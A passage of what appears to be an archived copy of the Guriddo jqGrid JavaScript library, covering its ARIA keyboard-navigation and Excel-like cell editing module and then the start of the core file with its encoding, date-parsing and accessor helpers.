$.jgrid.isFunction(o.onKeyCheck) ? o.onKeyCheck : false; $($t).on('keydown', function(e) { if($t.p.navigationDisabled && $t.p.navigationDisabled === true) { return; } if(e.target.id.startsWith("jqs_"+$t.p.id)) { return; } if(onKeyCheck) { if(!onKeyCheck.call($t, $t.rows[$t.p.iRow].id, $t.p.iRow, $t.p.iCol, e) ) { return; } } var key = e.which || e.keyCode, nextCell; switch(key) { case (38) : // DOWN nextCell = getNextVisibleCell(0, -1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (40) : // UP nextCell = getNextVisibleCell(0, 1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (37) : // LEFT nextCell = getNextVisibleCell(-1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (39) : // RIGHT nextCell = getNextVisibleCell(1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case 36 : // HOME if(e.ctrlKey) { focusRow = 1; } else { focusRow = $t.p.iRow; } focusCol = 0; e.preventDefault(); break; case 35 : // END if(e.ctrlKey) { focusRow = $t.rows.length - 1; } else { focusRow = $t.p.iRow; } focusCol = $t.p.colModel.length - 1; e.preventDefault(); break; case 33 : // PAGEUP movePage( -1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; e.preventDefault(); break; case 34 : // PAGEDOWN movePage( 1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; if(focusRow > $t.rows.length-1) { focusRow = $t.rows.length-1; $t.p.iRow = $t.rows.length-1; } e.preventDefault(); break; case 13 : // Enter if( $.jgrid.isFunction( o.onEnterCell )) { o.onEnterCell.call( $t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); e.preventDefault(); } return; case 113 : // F2 try{ $($t).jqGrid('editCell', $t.p.iRow, $t.p.iCol, true, e); } catch(e1){} break; default: if( custAct ) { custAct.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } return; } setTimeout(function(){ $($t).jqGrid("focusBodyCell", focusRow, focusCol, getstyle, highlight); },50); }); $($t).on('jqGridBeforeSelectRow.ariaGridClick',function() { return false; }); $($t).on('jqGridCellSelect.ariaGridClick', function(el1, id, status,tdhtml, e) { var el = e.target; if($t.p.iRow > 0 && $t.p.iCol >=0) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]).attr("tabindex", -1); } if($(el).is("td") || $(el).is("th") || el.id.startsWith("jqs_"+$t.p.id)) { $t.p.iCol = el.cellIndex; } else { return; } var row = $(el).closest("tr.jqgrow"); $t.p.iRow = row[0].rowIndex; $(el).attr("tabindex", 0) .addClass(highlight) .focus() .blur(function(){$(this).removeClass(highlight);}); }); $t.p.ariaBody = true; }); }, excelLikeGrid : function ( p ) { var o = $.extend({ beforeDeleteCell : null, customCellAction : null, customUndoFunction : null, specialChars : [ '~', '!','@', '#', '$','%','^','&','*','(',')','_', '+','{','}', ':', '"', '|','<','>','?',',','.','/',';','\\','[',']' ], addonChars : false, // ^[а-я]$/i onKeyCheck : null }, p || {}); return this.each(function (){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true); $t.p.F2key = false; // basic functions var baseFunc = { isValidCell : function (row, col) { return ( !isNaN(row) && !isNaN(col) && row >= 0 && col >= 0 && $t.rows.length && row < $t.rows.length && col < $t.p.colModel.length ); }, getNextCell: function ( dirX, dirY) { var row = $t.p.iRow + dirY; // set the default one when initialize grid var col = $t.p.iCol + dirX; // set the default ................. var rowCount = $t.rows.length; var isLeftRight = dirX !== 0; var collimit = $t.p.frozenColumns ? $t.p.frozenColCount + 1 : 0; if (!rowCount) { return false; } var colCount = $t.p.colModel.length; if (isLeftRight) { if (col < collimit ) { col = collimit; } if (col === colCount) { col = colCount; } } if (!isLeftRight) { if ($t.rows[row] && col >= 0 && !$t.rows[row].cells[col]) { row--; } } if (this.isValidCell(row, col)) { return { row: row, col: col }; } else if (this.isValidCell($t.p.iRow, $t.p.iCol)) { return { row: $t.p.iRow, col: $t.p.iCol }; } else { return false; } }, getNextVisibleCell : function (dirX, dirY) { var nextCell = this.getNextCell( dirX, dirY); if (!nextCell) { return false; } while ( $($t.rows[nextCell.row].cells[nextCell.col]).is(":hidden") ) { $t.p.iRow = nextCell.row; $t.p.iCol = nextCell.col; nextCell = this.getNextCell(dirX, dirY); if ($t.p.iRow === nextCell.row && $t.p.iCol === nextCell.col) { // There are no more cells to try if getNextCell returns the current cell return false; } } if( dirY !== 0 ) { $($t).jqGrid('setSelection', $t.rows[nextCell.row].id, false, null, false); } return nextCell; }, movePage : function ( dir ) { var curpage = $t.p.page, last =$t.p.lastpage; curpage = curpage + dir; if( curpage <= 0) { curpage = 1; } if( curpage > last ) { curpage = last; } if( $t.p.page === curpage ) { return; } $t.p.page = curpage; $t.grid.populate(); } }; var focusableElementsSelector = $.jgrid.focusableElementsList.join(); /* function hasFocusableChild( el) { return $(focusableElementsSelector, el)[0]; } * */ $($t).removeAttr("tabindex"); $($t).on('jqGridAfterGridComplete.setAriaGrid', function( e ) { //var grid = e.target; $("tbody", $t).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+focusableElementsSelector+"))").attr("tabindex", -1); $("tbody", $t).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"); if($t.p.iRow !== undefined && $t.p.iCol !== undefined) { if($t.rows[$t.p.iRow]) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]) .attr('tabindex', 0) .focus( function() { $(this).addClass(highlight);}) .blur( function () { $(this).removeClass(highlight);}); } } }); $t.p.iRow = 1; $t.p.iCol = $.jgrid.getFirstVisibleCol( $t ); $t.p.ariaBody = true; var focusRow=0, focusCol=0; // set the dafualt one var custAct = $.jgrid.isFunction( o.customCellAction ) ? o.customCellAction : false; var delCell = $.jgrid.isFunction( o.beforeDeleteCell ) ? o.beforeDeleteCell : false; var aKeys = new Set(o.specialChars); //var lastVisibleCol = $.jgrid.getLastVisibleCol( $t ); //var firstVisibleCol = $.jgrid.getFirstVisibleCol( $t ); var paste_to_cell = false; $t.addEventListener('paste', function (event) { if(paste_to_cell) { var paste = (event.clipboardData || window.clipboardData).getData('text'); $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, paste); paste_to_cell = false; } }); var onKeyCheck = $.jgrid.isFunction(o.onKeyCheck) ? o.onKeyCheck : false; $($t).on('keydown', function(e) { if($t.p.navigationDisabled && $t.p.navigationDisabled === true) { return; } if(e.target.id.startsWith("jqs_"+$t.p.id)) { return; } if(onKeyCheck) { if(!onKeyCheck.call($t, $t.rows[$t.p.iRow].id, $t.p.iRow, $t.p.iCol, e, baseFunc) ) { return; } } var key = e.which || e.keyCode, nextCell; var ctrl = e.ctrlKey ? e.ctrlKey : ((key === 17) ? true : false); // ctrl detection switch(key) { case (38) : // UP nextCell = baseFunc.getNextVisibleCell(0, -1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (40) : // DOWN case 13 : // Enter nextCell = baseFunc.getNextVisibleCell(0, 1); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (37) : // LEFT nextCell = baseFunc.getNextVisibleCell(-1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case (39) : // RIGHT nextCell = baseFunc.getNextVisibleCell(1, 0); focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case 36 : // HOME if(e.ctrlKey) { focusRow = 1; } else { focusRow = $t.p.iRow; } focusCol = $t.p.frozenColumns ? $t.p.frozenColCount + 1 : 0; e.preventDefault(); break; case 35 : // END if(e.ctrlKey) { focusRow = $t.rows.length - 1; } else { focusRow = $t.p.iRow; } focusCol = $t.p.colModel.length - 1; e.preventDefault(); break; case 33 : // PAGEUP baseFunc.movePage( -1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; e.preventDefault(); break; case 34 : // PAGEDOWN baseFunc.movePage( 1 ); focusCol = $t.p.iCol; focusRow = $t.p.iRow; if(focusRow > $t.rows.length-1) { focusRow = $t.rows.length-1; $t.p.iRow = $t.rows.length-1; } e.preventDefault(); break; case 9 : //TAB if (e.shiftKey) { nextCell = baseFunc.getNextVisibleCell(-1, 0); } else { nextCell = baseFunc.getNextVisibleCell(1, 0); } focusRow = nextCell.row; focusCol = nextCell.col; e.preventDefault(); break; case 113 : // F2 try{ $($t).jqGrid('editCell', $t.p.iRow, $t.p.iCol, true, e, false); $t.p.F2key = true; } catch(e1){} break; case 8: // DEL, BACKSPACE case 46: var retDel = true; if( delCell ) { retDel = delCell.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } if(retDel === true) { $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, ""); } break; case 86: if(ctrl) { paste_to_cell = true; return true; } break; case 90: if(ctrl) { var undofunc = true; if( $.jgrid.isFunction( o.customUndoFunction ) ) { undofunc = o.customUndoFunction.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } if( undofunc && $t.p.savedValues && $($t).jqGrid('getCell', $t.rows[$t.p.iRow].id, $t.p.colModel[$t.p.iCol].name, false) === $t.p.savedValues.newvalue && $t.p.iRow === $t.p.savedValues.indexRow) { // undo $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, $t.p.savedValues.oldvalue); } return true; } break; default: var isLetter = /^[a-z]$/i.test(e.key); var isNumber = /^[0-9]$/i.test(e.key); var other = false; if(o.addonChars) { other = o.addonChars.test(e.key); } if(isLetter || isNumber || aKeys.has(e.key) || other) { $($t).jqGrid('editCell', $t.p.iRow, $t.p.iCol, true, e, true); } if( custAct ) { custAct.call($t, $t.rows[$t.p.iRow].id ,$t.p.iRow, $t.p.iCol, e); } return; } setTimeout(function(){ $($t).jqGrid("focusBodyCell", focusRow, focusCol, getstyle, highlight); },50); }); $($t).on('jqGridBeforeSelectRow.ariaGridClick',function() { return false; }); $($t).on('jqGridCellSelect.ariaGridClick', function(el1, id, status,tdhtml, e) { var el = e.target; if($t.p.iRow > 0 && $t.p.iCol >=0) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]).attr("tabindex", -1); } if($(el).is("td") || $(el).is("th") || el.id.startsWith("jqs_"+$t.p.id)) { $t.p.iCol = el.cellIndex; } else { return; } if($t.p.savedRow.length) { $($t).jqGrid("saveCell",$t.p.savedRow[0].id,$t.p.savedRow[0].ic); } var row = $(el).closest("tr.jqgrow"); $t.p.iRow = row[0].rowIndex; $(el).attr("tabindex", 0) .addClass(highlight) .focus() .blur(function(){$(this).removeClass(highlight);}); }).on('jqGridDblClickRow.ariaGridDblClick', function(el1,id, iRow, iCol, e){ $($t).jqGrid('editCell', iRow, iCol, true, e, false); $t.p.F2key = true; }); }); }, focusBodyCell : function(focusRow, focusCol, _s, _h) { return this.each(function (){ var $t = this, getstyle = !_s ? $.jgrid.getMethod("getStyleUI") : _s, highlight = !_h ? getstyle($t.p.styleUI+'.common','highlight', true) : _h, focusableElementsSelector = $.jgrid.focusableElementsList.join(), fe; function hasFocusableChild( el) { return $(focusableElementsSelector, el)[0]; } if(focusRow !== undefined && focusCol !== undefined) { if (!isNaN($t.p.iRow) && !isNaN($t.p.iCol) && $t.p.iCol >= 0) { fe = hasFocusableChild($t.rows[$t.p.iRow].cells[$t.p.iCol]); if( fe ) { $(fe).attr('tabindex', -1); } else { $($t.rows[$t.p.iRow].cells[$t.p.iCol]).attr('tabindex', -1); } } } else { focusRow = $t.p.iRow; focusCol = $t.p.iCol; } focusRow = parseInt(focusRow, 10); focusCol = parseInt(focusCol, 10); if(focusRow > 0 && focusCol >=0) { fe = hasFocusableChild($t.rows[focusRow].cells[focusCol]); if( fe ) { $(fe).attr('tabindex', 0) .addClass(highlight) .focus() .blur( function () { $(this).removeClass(highlight); }); } else { $($t.rows[focusRow].cells[focusCol]) .attr('tabindex', 0) .addClass(highlight) .focus() .blur(function () { $(this).removeClass(highlight); }); } $t.p.iRow = focusRow; $t.p.iCol = focusCol; } }); }, resetAriaBody : function() { return this.each(function(){ var $t = this, paste_to_cell = false; $t.p.ariaBody = false; $($t).attr("tabindex","0") .off('keydown') .off('jqGridBeforeSelectRow.ariaGridClick') .off('jqGridCellSelect.ariaGridClick') .off('jqGridAfterGridComplete.setAriaGrid'); var focusableElementsSelector = $.jgrid.focusableElementsList.join(); $("tbody",$t).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+focusableElementsSelector+"))").removeAttr("tabindex").off("focus"); $("tbody",$t).first().find(">tr:not(.jqgfirstrow)").attr("tabindex", -1); try { $t.removeEventListener('paste', function(event) { if(paste_to_cell) { var paste = (event.clipboardData || window.clipboardData).getData('text'); $($t).jqGrid('saveCell', $t.p.iRow, $t.p.iCol, paste); paste_to_cell = false; } }, true); } catch(e) {} }); }, ariaHeaderGrid : function( p ) { var o = $.extend({ onHeaderKeyCheck : null }, p || {}); return this.each(function (){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true), htable = $("#gbox_"+$t.p.id).find(".ui-jqgrid-hbox>table").first(); var onHeaderKeyCheck = $.jgrid.isFunction(o.onHeaderKeyCheck) ? o.onHeaderKeyCheck : false; $('tr.ui-jqgrid-labels', htable).on("keydown", function(e) { var currindex = $t.p.selHeadInd; var key = e.which || e.keyCode; var len = $t.grid.headers.length; if(onHeaderKeyCheck) { if(!onHeaderKeyCheck.call($t, currindex, e) ) { return; } } switch (key) { case 37: // left if(currindex-1 >= 0) { currindex--; while( $($t.grid.headers[currindex].el).is(':hidden') && currindex-1 >= 0) { currindex--; if(currindex < 0) { break; } } if(currindex >= 0) { $($t.grid.headers[currindex].el).focus(); $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex", "-1"); $t.p.selHeadInd = currindex; e.preventDefault(); } } break; case 39: // right if(currindex+1 < len) { currindex++; while( $($t.grid.headers[currindex].el).is(':hidden') && currindex+1 <len) { currindex++; if( currindex > len-1) { break; } } if( currindex < len) { $($t.grid.headers[currindex].el).focus(); $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex", "-1"); $t.p.selHeadInd = currindex; e.preventDefault(); } } break; case 13: // enter $($t.grid.headers[currindex].el).find("div").first().trigger('click'); e.preventDefault(); break; default: return; } }); $('tr.ui-jqgrid-labels>th:not(:hidden)', htable).attr("tabindex", -1).focus(function(){ $(this).addClass(highlight).attr("tabindex", "0"); }).blur(function(){ $(this).removeClass(highlight); }); $t.p.selHeadInd = $.jgrid.getFirstVisibleCol( $t ); $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex","0"); }); }, focusHeaderCell : function( index) { return this.each( function(){ var $t = this; if(index === undefined) { index = $t.p.selHeadInd; } if(index >= 0 && index < $t.p.colModel.length) { $($t.grid.headers[$t.p.selHeadInd].el).attr("tabindex", "-1"); $($t.grid.headers[index].el).focus(); $t.p.selHeadInd = index; } }); }, resetAriaHeader : function() { return this.each(function(){ var htable = $("#gbox_" + this.p.id).find(".ui-jqgrid-hbox>table").first(); $('tr.ui-jqgrid-labels', htable).off("keydown"); $('tr.ui-jqgrid-labels>th:not(:hidden)', htable).removeAttr("tabindex").off("focus blur"); }); }, ariaPagerGrid : function () { return this.each( function(){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true), disabled = "."+getstyle($t.p.styleUI+'.common','disabled', true), cels = $(".ui-pg-button",$t.p.pager), len = cels.length; cels.attr("tabindex","-1").focus(function(){ $(this).addClass(highlight); }).blur(function(){ $(this).removeClass(highlight); }); $t.p.navIndex = 0; setTimeout( function() { // make another decision here var navIndex = cels.not(disabled).first().attr("tabindex", "0"); $t.p.navIndex = (navIndex[0] && navIndex[0].cellIndex) ? navIndex[0].cellIndex-1 : 0; }, 100); $($t.p.pager).find("table.ui-pager-table tr").first().on("keydown", function(e) { var key = e.which || e.keyCode; var indexa = $t.p.navIndex;//currindex; switch (key) { case 37: // left if(indexa-1 >= 0) { indexa--; while( $(cels[indexa]).is(disabled) && indexa-1 >= 0) { indexa--; if(indexa < 0) { break; } } if(indexa >= 0) { $(cels[$t.p.navIndex]).attr("tabindex","-1"); $(cels[indexa]).attr("tabindex","0").focus(); $t.p.navIndex = indexa; } e.preventDefault(); } break; case 39: // right if(indexa+1 < len) { indexa++; while( $(cels[indexa]).is(disabled) && indexa+1 < len + 1) { indexa++; if( indexa > len-1) { break; } } if( indexa < len) { $(cels[$t.p.navIndex]).attr("tabindex","-1"); $(cels[indexa]).attr("tabindex","0").focus(); $t.p.navIndex = indexa; } e.preventDefault(); } break; case 13: // enter if(!$(e.originalEvent.srcElement).hasClass("ui-pg-input")) { $(cels[indexa]).trigger('click'); e.preventDefault(); } break; default: return; } }); }); }, focusPagerCell : function( index) { return this.each( function(){ var $t = this, cels = $(".ui-pg-button",$t.p.pager), len = cels.length; if(index === undefined) { index = $t.p.navIndex; } if(index >= 0 && index < len) { $(cels[$t.p.navIndex]).attr("tabindex","-1"); $(cels[index]).attr("tabindex","0").focus(); $t.p.navIndex = index; } }); }, resetAriaPager : function() { return this.each(function(){ $(".ui-pg-button",this.p.pager).removeAttr("tabindex").off("focus"); $(this.p.pager).find("table.ui-pager-table tr").first().off("keydown"); }); }, setAriaGrid : function ( p ) { var o = $.extend({ header : true, body : true, pager : true, onEnterCell : null, customCellAction : null, excel : false }, p || {}); return this.each(function(){ if( o.header ) { $(this).jqGrid('ariaHeaderGrid', o); } if( o.body ) { if(o.excel) { $(this).jqGrid('excelLikeGrid', o); } else { $(this).jqGrid('ariaBodyGrid', o); } } if( o.pager ) { $(this).jqGrid('ariaPagerGrid'); } }); }, resetAriaGrid : function( p ) { var o = $.extend({ header : true, body : true, pager : true }, p || {}); return this.each(function(){ var $t = this; if( o.body ) { $($t).jqGrid('resetAriaBody'); } if( o.header ) { $($t).jqGrid('resetAriaHeader'); } if( o.pager ) { $($t).jqGrid('resetAriaPager'); } }); } // end aria grid }); //module end })); jquery.jqGrid.js000064400003124524151677266200007667 0ustar00/** * * @license Guriddo jqGrid JS - v5.8.7 - 2024-06-01 * Copyright(c) 2008, Tony Tomov, tony@trirand.com * * License: http://guriddo.net/?page_id=103334 */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("defaults")) { $.jgrid.defaults = {}; } $.extend($.jgrid,{ version : "5.8.7", isNull : function( p, strict_eq) { if(strict_eq && strict_eq === true) { return p === null; } else { return p == null; } }, trim : function (x) { if(typeof x === "string") { return x.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ''); } else { return x; } }, isFunction : function (x){ return typeof x === 'function'; }, type : function (obj, fullClass) { // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof if (fullClass) { return (obj === null) ? '[object Null]' : Object.prototype.toString.call(obj); } if (obj == null) { return (obj + '').toLowerCase(); } // implicit toString() conversion var deepType = Object.prototype.toString.call(obj).slice(8,-1).toLowerCase(); if (deepType === 'generatorfunction') { return 'function'; } return deepType.match(/^(array|bigint|date|error|function|generator|regexp|symbol)$/) ? deepType : (typeof obj === 'object' || typeof obj === 'function') ? 'object' : typeof obj; }, floatNum : function(val, defval) { if( defval === undefined ) { defval = 0; } val = parseFloat(val); return !isNaN(val) ? val : defval; }, htmlDecode : function(value){ if(value && (value===' ' || value===' ' || (value.length===1 && value.charCodeAt(0)===160))) { return "";} return !value ? value : String(value).replace(/>/g, ">").replace(/</g, "<").replace(/"/g, '"').replace(/&/g, "&"); }, htmlEncode : function (value){ return !value ? value : String(value).replace(/&/g, "&").replace(/\"/g, """).replace(/</g, "<").replace(/>/g, ">"); }, template : function(format){ //jqgformat var args = $.makeArray(arguments).slice(1), j, al = args.length; if( $.jgrid.isNull(format) ) { format = ""; } return format.replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g, function(m,i){ if(!isNaN(parseInt(i,10))) { return args[parseInt(i,10)]; } for(j=0; j < al;j++) { if(Array.isArray(args[j])) { var nmarr = args[ j ], k = nmarr.length; while(k--) { if(i===nmarr[k].nm) { return nmarr[k].v; } } } else if(typeof args[j] === 'object' && args[j][i]) { return $.jgrid.isFunction(args[j][i]) ? args[j][i]() : args[j][i]; } } }); }, msie : function () { return $.jgrid.msiever() > 0; }, msiever : function () { var rv =0, sAgent = window.navigator.userAgent, Idx = sAgent.indexOf("MSIE"); if (Idx > 0) { rv = parseInt(sAgent.substring(Idx+ 5, sAgent.indexOf(".", Idx))); } else if ( !!navigator.userAgent.match(/Trident\/7\./) ) { rv = 11; } return rv; }, getCellIndex : function (cell) { var c = $(cell); if (c.is('tr')) { return -1; } c = (!c.is('td') && !c.is('th') ? c.closest("td,th") : c)[0]; if ($.jgrid.msie()) { return $.inArray(c, c.parentNode.cells); } return c.cellIndex; }, stripHtml : function(v) { v = String(v); var regexp = /<("[^"]*"|'[^']*'|[^'">])*>/gi; if (v) { v = v.replace(regexp,""); return (v && v !== ' ' && v !== ' ') ? v.replace(/\"/g,"'") : ""; } return v; }, stripPref : function (pref, id) { var obj = $.jgrid.type( pref ); if( obj === "string" || obj === "number") { pref = String(pref); id = pref !== "" ? String(id).replace(String(pref), "") : id; } return id; }, stripScript : function( v ) { return v.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, " "); }, useJSON : true, runCode : function (obj){ return Function('"use strict";return (' + obj + ')')(); }, parse : function(jsonString) { var js = jsonString; if (js.slice(0,9) === "while(1);") { js = js.slice(9); } if (js.slice(0,2) === "/*") { js = js.slice(2,js.length-2); } if(!js) { js = "{}"; } return ($.jgrid.useJSON===true && typeof JSON === 'object' && typeof JSON.parse === 'function') ? JSON.parse(js) : $.jgrid.runCode( js ); //eval('(' + js + ')'); }, dateToOADate :function (date) { // Add 1462 in 1904 system (apple) var temp = new Date(date); // Set temp to start of day and get whole days between dates, var days = Math.round((temp.setHours(0,0,0,0) - new Date(1899, 11, 30)) / 8.64e7); // Get decimal part of day, OADate always assumes 24 hours in day var partDay = (Math.abs((date - temp) % 8.64e7) / 8.64e7).toFixed(10); return days + partDay.slice(1); }, parseDate : function(format, date, newformat, opts) { var token = /\\.|[dDjlNSwzWFmMntLoYyaABgGhHisueIOPTZcrU]/g, timezone = /\b(?:[PMCEA][SDP]T|(?:Pacific|Mountain|Central|Eastern|Atlantic) (?:Standard|Daylight|Prevailing) Time|(?:GMT|UTC)(?:[-+]\d{4})?)\b/g, timezoneClip = /[^-+\dA-Z]/g, msDateRegExp = new RegExp("^\/Date\\((([-+])?[0-9]+)(([-+])([0-9]{2})([0-9]{2}))?\\)\/$"), msMatch = ((typeof date === 'string') ? date.match(msDateRegExp): null), pad = function (value, length) { value = String(value); length = parseInt(length,10) || 2; while (value.length < length) { value = '0' + value; } return value; }, insStr = function( value, pos, ch) { value = String(value); return value.slice(0, pos) + ch + value.slice(pos); }, ts = {m : 1, d : 1, y : 1970, h : 0, i : 0, s : 0, u:0}, timestamp=0, dM, k,hl, h12to24 = function(ampm, h){ if (ampm === 0){ if (h === 12) { h = 0;} } else { if (h !== 12) { h += 12; } } return h; }, offset =0; if(opts === undefined) { opts = $.jgrid.getRegional(this, "formatter.date");//$.jgrid.formatter.date; } // old lang files if(opts === undefined) { opts = {}; } if(opts.parseRe === undefined ) { opts.parseRe = /[#%\\\/:_;.,\t\s-]/; } if(opts.AmPm === undefined ) { opts.AmPm = ["am","pm","AM","PM"]; } if( opts.masks && opts.masks.hasOwnProperty(format) ) { format = opts.masks[format]; } if(date && !$.jgrid.isNull( date ) ) { if( !isNaN( date - 0 ) && String(format).toLowerCase() === "u") { //Unix timestamp timestamp = new Date( parseFloat(date)*1000 ); opts.validate = false; } else if(date.constructor === Date) { timestamp = date; opts.validate = false; } else if( msMatch !== null ) { // Microsoft date format support timestamp = new Date(parseInt(msMatch[1], 10)); if (msMatch[3]) { offset = Number(msMatch[5]) * 60 + Number(msMatch[6]); offset *= ((msMatch[4] === '-') ? 1 : -1); offset -= timestamp.getTimezoneOffset(); timestamp.setTime(Number(Number(timestamp) + (offset * 60 * 1000))); } opts.validate = false; } else { //Support ISO8601Long that have Z at the end to indicate UTC timezone if(opts.srcformat === 'ISO8601Long' && date.charAt(date.length - 1) === 'Z') { offset -= (new Date()).getTimezoneOffset(); } date = String(date).replace(/\T/g,"#").replace(/\t/,"%").split(opts.parseRe); format = format.replace(/\T/g,"#").replace(/\t/,"%").split(opts.parseRe); // parsing for month names for(k=0,hl=format.length;k<hl;k++){ switch ( format[k] ) { case 'M': dM = $.inArray(date[k],opts.monthNames); if(dM !== -1 && dM < 12){date[k] = dM+1; ts.m = date[k];} break; case 'F': dM = $.inArray(date[k],opts.monthNames,12); if(dM !== -1 && dM > 11){date[k] = dM+1-12; ts.m = date[k];} break; case 'n': format[k] = 'm'; break; case 'j': format[k] = 'd'; break; case 'a': dM = $.inArray(date[k],opts.AmPm); if(dM !== -1 && dM < 2 && date[k] === opts.AmPm[dM]){ date[k] = dM; ts.h = h12to24(date[k], ts.h); } break; case 'A': dM = $.inArray(date[k],opts.AmPm); if(dM !== -1 && dM > 1 && date[k] === opts.AmPm[dM]){ date[k] = dM-2; ts.h = h12to24(date[k], ts.h); } break; case 'g': ts.h = parseInt(date[k], 10); break; } if(date[k] !== undefined) { ts[format[k].toLowerCase()] = parseInt(date[k],10); } } if(ts.f) {ts.m = ts.f;} if( ts.m === 0 && ts.y === 0 && ts.d === 0) { return " " ; } ts.m = parseInt(ts.m,10)-1; var ty = ts.y; if (ty >= 70 && ty <= 99) {ts.y = 1900+ts.y;} else if (ty >=0 && ty <=69) {ts.y= 2000+ts.y;} timestamp = new Date(ts.y, ts.m, ts.d, ts.h, ts.i, ts.s, ts.u); //Apply offset to show date as local time. if(offset !== 0) { timestamp.setTime(Number(Number(timestamp) + (offset * 60 * 1000))); } } } else { timestamp = new Date(ts.y, ts.m, ts.d, ts.h, ts.i, ts.s, ts.u); } if(opts && opts.validate === true ) { // validation var valid_date = new Date(ts.y, (+ts.m), ts.d, ts.h, ts.i); return (Boolean(+valid_date) && valid_date.getDate() === ts.d && valid_date.getHours() === ts.h && valid_date.getMinutes() === ts.i); } if(opts.userLocalTime && offset === 0) { offset -= (new Date()).getTimezoneOffset(); if( offset !== 0 ) { timestamp.setTime(Number(Number(timestamp) + (offset * 60 * 1000))); } } if( newformat === undefined ) { return timestamp; } if( opts.masks && opts.masks.hasOwnProperty(newformat) ) { newformat = opts.masks[newformat]; } else if ( !newformat ) { newformat = 'Y-m-d'; } var G = timestamp.getHours(), i = timestamp.getMinutes(), j = timestamp.getDate(), n = timestamp.getMonth() + 1, o = timestamp.getTimezoneOffset(), s = timestamp.getSeconds(), u = timestamp.getMilliseconds(), w = timestamp.getDay(), Y = timestamp.getFullYear(), N = (w + 6) % 7 + 1, z = (new Date(Y, n - 1, j) - new Date(Y, 0, 1)) / 86400000, flags = { // Day d: pad(j), D: opts.dayNames[w], j: j, l: opts.dayNames[w + 7], N: N, S: opts.S(j), //j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th', w: w, z: z, // Week W: N < 5 ? Math.floor((z + N - 1) / 7) + 1 : Math.floor((z + N - 1) / 7) || ((new Date(Y - 1, 0, 1).getDay() + 6) % 7 < 4 ? 53 : 52), // Month F: opts.monthNames[n - 1 + 12], m: pad(n), M: opts.monthNames[n - 1], n: n, t: '?', // Year L: '?', o: '?', Y: Y, y: String(Y).substring(2), // Time a: G < 12 ? opts.AmPm[0] : opts.AmPm[1], A: G < 12 ? opts.AmPm[2] : opts.AmPm[3], B: '?', g: G % 12 || 12, G: G, h: pad(G % 12 || 12), H: pad(G), i: pad(i), s: pad(s), u: u, // Timezone e: '?', I: '?', O: (o > 0 ? "-" : "+") + pad(Math.floor(Math.abs(o) / 60) * 100 + Math.abs(o) % 60, 4), P: (o > 0 ? "-" : "+") + insStr( pad(Math.floor(Math.abs(o) / 60) * 100 + Math.abs(o) % 60, 4), -2, ":"), T: (String(timestamp).match(timezone) || [""]).pop().replace(timezoneClip, ""), Z: '?', // Full Date/Time c: '?', r: '?', U: Math.floor(timestamp / 1000) }; return newformat.replace(token, function ($0) { return flags.hasOwnProperty($0) ? flags[$0] : $0.substring(1); }); }, jqID : function(sid){ return String(sid).replace(/[!"#$%&'()*+,.\/:; <=>?@\[\\\]\^`{|}~]/g,"\\$&"); }, guid : 1, uidPref: 'jqg', randId : function( prefix ) { return (prefix || $.jgrid.uidPref) + ($.jgrid.guid++); }, getAccessor : function(obj, expr) { var ret,p,prm = [], i; if( typeof expr === 'function') { return expr(obj); } ret = obj[expr]; if(ret===undefined) { try { if ( typeof expr === 'string' ) { prm = expr.split('.'); } i = prm.length; if( i ) { ret = obj; while (ret && i--) { p = prm.shift(); ret = ret[p]; } } } catch (e) {} } return ret; }, getXmlData: function (obj, expr, returnObj) { var ret, m = typeof expr === 'string' ? expr.match(/^(.*)\[(\w+)\]$/) : null; if (typeof expr === 'function') { return expr(obj); } if (m && m[2]) { // m[2] is the attribute selector // m[1] is an optional element selector // examples: "[id]", "rows[page]" return m[1] ? $(m[1], obj).attr(m[2]) : $(obj).attr(m[2]); } ret = $(expr, obj); if (returnObj) { return ret; } //$(expr, obj).filter(':last'); // we use ':last' to be more compatible with old version of jqGrid return ret.length > 0 ? $(ret).text() : undefined; }, cellWidth : function () { var $testDiv = $("<div 